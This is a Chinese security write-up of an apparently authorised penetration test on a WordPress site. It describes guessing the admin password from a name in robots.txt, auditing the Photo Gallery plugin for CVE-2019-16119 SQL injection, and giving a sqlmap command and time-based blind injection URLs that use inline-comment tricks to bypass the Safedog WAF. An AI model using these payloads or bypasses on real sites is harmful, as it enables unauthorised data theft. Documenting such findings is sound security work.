背景

继上一篇《渗透测试之黑白无常" style="margin:0px;padding:0px;box-sizing:border-box;border:0px;">渗透测试之黑白无常》之后,当时的目标中还有个WordPress网站,虽然为一批目标但是运行环境却不太一样,同上一篇文章一样本文使用本地搭建环境来复现,如有觉得不合理的地方,可能是本地复现的时候未完全还原真实环境,主要是记录当时在做这个渗透测试的思路以及绕过安全策略的方法。


艰难挺近后台

经过上一个网站的铺垫,所以当打开目标网站后,第一时间感觉系统属于WordPress框架,然后尝试默认后台/wp-admin/能否访问。

seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-143210-1602658588.png" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />

后台为默认后台,但是账号却不再是弱口令,在尝试了大量的弱口令和常用口令后,都未成功,针对前台的一系列测试也并没有取得一定的成功,测试到这一时陷入僵局。

既然暂时无法取得突破口,也不能放弃啊,开始进行信息收集,扫个目录看看情况,是否有什么敏感的信息。

根据上图可以看见,目录下的信息还是蛮多的,但是几乎都是WordPress默认自带的文件,只有一个2.php文件看着比较特殊,但是访问无任何有效信息,只有一个“test”单词。

看见有Robots.txt文件,相信很多在做渗透测试的时候都是基于该文件寻找敏感目录或者敏感文件的,可是本次测试中,该文件并没有提供到有效的目录或者文件信息,但是却给予了管理员信息,导致尝试登陆后台的过程中进入后台。

未查看到有任何的敏感信息,后台地址前面已经知道了,但是上面有一句:

robots.txt generated at zhangchao

根据现实,这个robots.txt文件是zhangchao生成的,最开始的时候并没有注意到这里,毕竟这种robots.txt要么是程序自带的,要么是别的地方复制过来的,要么就是工具生成的,所以按照常识这里的这个zhangchao就是管理员的概率不大,所以这里怎么利用的后面进行说明。

根据已经发布的文章显示,该网站后台管理员使用的账户是admin,但是密码却并不清楚,在尝试了大量密码后,最后突发奇想开始围绕着Robots.txt文件里的zhangchao这个名字进行构造密码,在尝试了zhangchao/zhangchao123/zhangchao+年份等等一系列操作后,想着很多企业密码均使用字母+@+年份样式的密码组合,构造出zhangchao@2019的密码,尝试登陆,登陆成功!

浪费了很多时间之后终于进入后台了,但是发现该后台和上一篇文章遇到的情况一样,插件上传或者主题上传,或者编辑插件编辑主题编辑404页面等功能全部被删除或者不可用,并且以前遇到过的Popup Builder插件该网站也没有。

正常的WordPress文件在“添加插件”旁边会有一个上传插件的按钮,左侧“安装插件”的下方应该有个更新插件的按钮,但是这里都没有按钮被删除,功能不可用。

基于前面的经验,查看已安装插件列表虽然没有了Popup Builder插件,但是有一个Photo Gallery插件,版本为1.5.34。

对照着系统安装的软件名及版本在本地下载搭建进行代码审计。


代码审计之SQL注入

WordPress的Photo Galler插件是一个具有高级功能的完全响应库插件。它允许你的文章和页面有不同的图片库。您可以创建无限数量的库,将它们组合成相册,并提供描述和标记。该插件目前已经活跃安装30万+。

注意该插件版本最新版本是1.5.56,使用自定义版本插件下载的方法下载1.5.34版本。

下载下来后先查看一下目录结构。

先在互联网上检索一下,该插件是否存在漏洞,检索出来的信息都比较久远,或者就是低于当前版本,在CVE库中检索该插件信息。

发现大量该插件的漏洞信息,检索和本次相关的版本,类似于XSS这类漏洞这里暂时不考虑,最后定位到一个编号为CVE-2019-16119的SQL注入漏洞。

点击查看详情,但是仅有一个文件什么参数可能存在问题,并未有详细的漏洞利用方法,所以只能根据提示去进行代码审计。

根据提示,漏洞问题出在min/controllers/Albumsgalleries.php文件中的album_id参数。

根据CVE提示查看Albumsgalleries.php文件,该文件是一个AlbumsgalleriesController_bwg类,包含album_id字段的只有display方法。

根据上图可以看到该方法使用WDWLibrary类的get方法接受的参数,并且如果不存在给默认值为0,查看一下该get方法是否有过滤参数。

可以看到如果GET参数存在就直接取值,如果传入的是数组就使用array_walk_recursive函数进行回调函数处理,不是数组就放入到validata_data方法进行过滤,看看该函数。

使用stripslashes删除反斜杠,根据变量追踪变量$esc_html在get方法中默认是true,所以这里的if也会进入,将变量$value是要esc_html函数进行处理,WordPress的esc_html函数是将 < > & " '(小于号,大于号,&,双引号,单引号)编码,转成HTML 实体,已经是实体的并不转换。

参数过滤函数看完了,可以看到这里删除了反斜杠,将小于号,大于号,&,双引号,单引号等符号给转为HTML实体了,下面接着追踪查看SQL语句拼装过程。

上面都是进行参数拼装,将所有的参数给拼装到$params变量中,跟踪get_rows_data方法查看。

根据上图可以看出来这里的SQL语句拼装的,直接将album_id放入了SQL语句进行执行,调用WordPress的DB进行数据库查询。也就是说如果我们不使用前面过滤掉的特殊符号就可以进行SQL注入。

基本的漏洞点应该已经存在了,但是该处的URL地址还不清楚,所以还需要查找利用点,查看如何访问这个文件的,搜索该文件类名Albumsgalleries。

进入查看。

WordPress中的add_action是添加动作的,也就是添加到admin_ajax文件的,后面还拼装了一个$this->prefix参数,查看该参数的值。

默认值为bwg,所以根据WordPress的规则这里拼出的URL应该就是:

http://localhost/wordpress-5.2.3/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1

本地使用SQLMap进行测试,是否存在注入:

python sqlmap.py -u "http://localhost/wordpress-5.2.3/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1" --cookie="" -time-sec=5

注入成功,配图为本地配图,实际当时只有时间盲注。


漏洞利用之过狗

通过以上分析,我们已经可以针对目标系统进行SQL注入,但是在代码审计后使用相同方法对目标站进行测试的时候,发现其网站安装了安全防护软件“安全狗”。

遇到安全狗,突然想到前面有一个stripslashes函数,该函数可以删除反斜杠,这样可以将payload:

1 AND (SELECT 5603 FROM (SELECT(SLEEP(5)))yBYg)

结构造成:

1 AND (SELECT 5603 FROM (SELECT(SLEEP(5)))yBYg)

这样理论上就可以绕过安全检测,可是想法很美好,现实很骨感,WordPress所有的GET参数符号都会自带,这里的删除反斜杠后,还是会留一个,所以该方法未利用成功。

除了程序自带的特殊符号过滤以外,还存在安全狗的防护,可是安全狗的规则是比较好绕过的,比如:编码转换,内联注释等等。

比如该注入点基于时间的盲注payload是如下格式:

admin-ajax.php?action=albumsgalleries_bwg&album_id=1 AND (SELECT 4072 FROM (SELECT(SLEEP(15)))XOSi)

但是直接使用该payload进行访问会直接被安全狗拦截。

但是如果使用:

admin-ajax.php?action=albumsgalleries_bwg&album_id=1 AND (/*!SELECT/*!/*/**/*/ 4072 FROM (/*!SELECT/*!/*/**/*/(/*!SLEEP/*!/*/**/*/(5)))XOSi)

就不会被拦截,将SELECT和SLEEP等关键词使用内联注释的方式给包裹起来,就可以绕过安全狗的检测。

但是一般基于时间的盲注都是将字母转为ASCII码值进行比对,使用大于或者小于号可以快速锁定目标字母的ASCII码值,比如:

select if(ascii(substr(database(),1,1))>100,sleep(10),1)

如果当前数据库第一个字母或数字的ASCII码值大于100就会延迟10秒返回,如果ASCII码值小于100就会直接返回,通过这样的方式可以快速定位到数据库名的第一个字符,但是该目标网站除了有安全狗以外,还有程序本身的过滤。

WordPress自带的esc_html函数将 < > & " '(小于号,大于号,&,双引号,单引号)编码,转成HTML 实体,已经是实体的并不转换,所以本次SQL注入全程的SQL语句不能使用上诉符号,但是可以使用等号,也就是只能一个ASCII码值一个ASCII码值的对比,来进行SQL注入。最后拼接出来的payload如下:

http://192.168.121.128/wordpress-5.2.3/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1%20and%20(/*!SELECT/*!/*/**/*/%204072%20FROM%20(/*!SELECT/*!/*/**/*/(If(ascii(substr(database(),1,1))=119,/*!sleep/*!/*/**/*/(10),1)))XOSi)

但是在实际运行中该payload还是被安全狗拦截,怀疑应该是and这个关键词被过滤了,使用编码的方式将and换为%26%26重新拼装payload:

http://192.168.121.128/wordpress-5.2.3/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1%20%26%26%20(/*!SELECT/*!/*/**/*/%204072%20FROM%20(/*!SELECT/*!/*/**/*/(If(ascii(substr(database(),1,1))=119,/*!sleep/*!/*/**/*/(10),1)))XOSi)

这个payload虽然安全狗不拦截了,但是程序报错,提示SQL语法错误。

%26转换为实体就是符号“&”,这样虽然过了安全狗的规则,但是程序使用esc_html将“&”符号给转换为实体了,所以导致SQL语句报错。这里就使用内联注释来处理and,最终的payload如下:

http://192.168.121.128/wordpress-5.2.3/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1%20/*!and/*!/*/**/*/%20(/*!SELECT/*!/*/**/*/%204072%20FROM%20(/*!SELECT/*!/*/**/*/(If(ascii(substr(database(),1,1))=119,/*!sleep/*!/*/**/*/(10),1)))XOSi)

当ASCII码值一致的时候,程序将延长10秒返回。

当ASCII码值不一致的时候,程序直接返回。

一个一个的手工测试实在麻烦,又不想去写脚本,怎么办呢?可以直接丢到Burp Suite的Intruder模块进行遍历处理。

将118那个位置添加为变量。

ASCII码写48-126就行,前面的都是一些符号什么的基本可以过滤掉,因为我这里是延迟函数,并且设置的10秒延迟,所以不出意外的情况爆破出来的结果那个在最后哪个就是正确的。

通过此方法即可进行查询表和数据了,方法都类似。

本次测试到这里就结束了,由于本次项目的目的是发现漏洞为主,所以没有进行后续操作。


结语


本文主要是通过信息收集进入到后台,又针对WoedPress的Photo Galler插件进行代码审计,找到漏洞后却在实际利用过程中遇到了安全防护,在绕过安全防护后成功利用系统漏洞。

在本次项目中其实走过很过弯路,趟过很多坑,期间IP也被封了好多次,后来在本地搭建相同环境进行测试,才得以绕过,如果遇到有安全设备拦截的情况,最好不要直接去线上环境进行测试,在本地复现,测试通过后再去线上环境测试,可以减少很多风险。


本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/143210.html